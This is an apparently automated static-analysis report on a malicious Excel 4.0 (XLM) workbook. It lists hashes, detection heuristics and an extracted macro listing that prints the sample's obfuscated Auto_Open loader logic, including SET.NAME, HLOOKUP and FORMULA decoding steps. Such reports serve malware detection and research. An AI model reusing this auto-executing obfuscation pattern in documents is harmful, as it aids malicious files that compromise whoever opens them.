Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1f8111d2902bdc36…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:40:37 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 34b1fa3d42ab4a6cd90a887b414db033 SHA-1: a7d6a606a66fc8cb8acf34bc77ed832a225bcf98 SHA-256: 1f8111d2902bdc367c1cd08d66ffd3178c1032c7aab37107e0296cf5fbe54e10
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6629 bytes
SHA-256: 66be719b38a0d0af344b9a164c82b43c7ec85c9b3c2f237fa1c420cf7ef34110
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bVTSfwjXnx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F172 
' 0018     20 LABEL : Cell Value, String Constant - awwLv len=0 
' 0018     22 LABEL : Cell Value, String Constant - eNSQuKR len=0 
' 0018     21 LABEL : Cell Value, String Constant - ewaHyS len=0 
' 0018     26 LABEL : Cell Value, String Constant - GJKyxDqpNUt len=0 
' 0018     26 LABEL : Cell Value, String Constant - jSfnqvSKLJR len=0 
' 0018     26 LABEL : Cell Value, String Constant - JZilufCZKVV len=0 
' 0018     20 LABEL : Cell Value, String Constant - kpuNv len=0 
' 0018     23 LABEL : Cell Value, String Constant - MvZwfReQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - mYIiUUSROg len=0 
' 0018     24 LABEL : Cell Value, String Constant - OOqOzcnRP len=0 
' 0018     22 LABEL : Cell Value, String Constant - PFfWMzs len=0 
' 0018     20 LABEL : Cell Value, String Constant - QDLKG len=0 
' 0018     24 LABEL : Cell Value, String Constant - qMzMwxkbc len=0 
' 0018     25 LABEL : Cell Value, String Constant - smtQlGkyUF len=0 
' 0018     22 LABEL : Cell Value, String Constant - wxMBhLs len=0 
' 0018     24 LABEL : Cell Value, String Constant - YDOMcWqqv len=0 
' 0018     20 LABEL : Cell Value, String Constant - yeURy len=0 
' 0018     21 LABEL : Cell Value, String Constant - YkBqNl len=0 
' 0018     22 LABEL : Cell Value, String Constant - YqrvJfl len=0 
' 0018     21 LABEL : Cell Value, String Constant - YVupvu len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bVTSfwjXnx,F75,"SET.NAME("ewaHyS",VALUE("0"))",""
'  bVTSfwjXnx,F80,"SET.NAME("YkBqNl",ewaHyS)",""
'  bVTSfwjXnx,F84,"SET.NAME("MvZwfReQ",ewaHyS)",""
'  bVTSfwjXnx,F89,"SET.NAME("QDLKG",COUNTA(OOqOzcnRP))",""
'  bVTSfwjXnx,F92,"SET.NAME("JZilufCZKVV",COUNTA(jSfnqvSKLJR))",""
'  bVTSfwjXnx,F97,[],""
'  bVTSfwjXnx,F101,"SET.NAME("smtQlGkyUF","")",""
'  bVTSfwjXnx,F105,"YkBqNl",""
'  bVTSfwjXnx,F109,"SET.NAME("yeURy",HLOOKUP("*",OOqOzcnRP,YkBqNl,FALSE))",""
'  bVTSfwjXnx,F113,"wxMBhLs",""
'  bVTSfwjXnx,F115,"SET.NAME("qMzMwxkbc",ewaHyS)",""
'  bVTSfwjXnx,F118,[],""
'  bVTSfwjXnx,F121,"qMzMwxkbc",""
'  bVTSfwjXnx,F123,"YqrvJfl",""
'  bVTSfwjXnx,F127,"awwLv",""
'  bVTSfwjXnx,F132,"kpuNv",""
'  bVTSfwjXnx,F135,"SET.NAME("PFfWMzs",VALUE(HLOOKUP("*",jSfnqvSKLJR,kpuNv,FALSE)))",""
'  bVTSfwjXnx,F140,"GJKyxDqpNUt",""
'  bVTSfwjXnx,F143,"smtQlGkyUF",""
'  bVTSfwjXnx,F147,"MvZwfReQ",""
'  bVTSfwjXnx,F150,NEXT(),""
'  bVTSfwjXnx,F155,"YDOMcWqqv",""
'  bVTSfwjXnx,F160,"SET.NAME("f",INT(T(FORMULA(T(smtQlGkyUF)&"",""&T(YDOMcWqqv)))))",""
'  bVTSfwjXnx,F165,"YVupvu",""
'  bVTSfwjXnx,F167,NEXT(),""
'  bVTSfwjXnx,F170,RETURN(),""
'  bVTSfwjXnx,F200,"SET.NAME("eNSQuKR",F75)",""
'  bVTSfwjXnx,F204,"OOqOzcnRP",""
'  bVTSfwjXnx,F208,"SET.NAME("jSfnqvSKLJR",R53C13)",""
'  bVTSfwjXnx,F211,"SET.NAME("YVupvu",222)",""
'  bVTSfwjXnx,F216,"SET.NAME("mYIiUUSROg",6)",""
'  bVTSfwjXnx,F221,eNSQuKR(),""
'  bVTSfwjXnx,F222,HALT(),""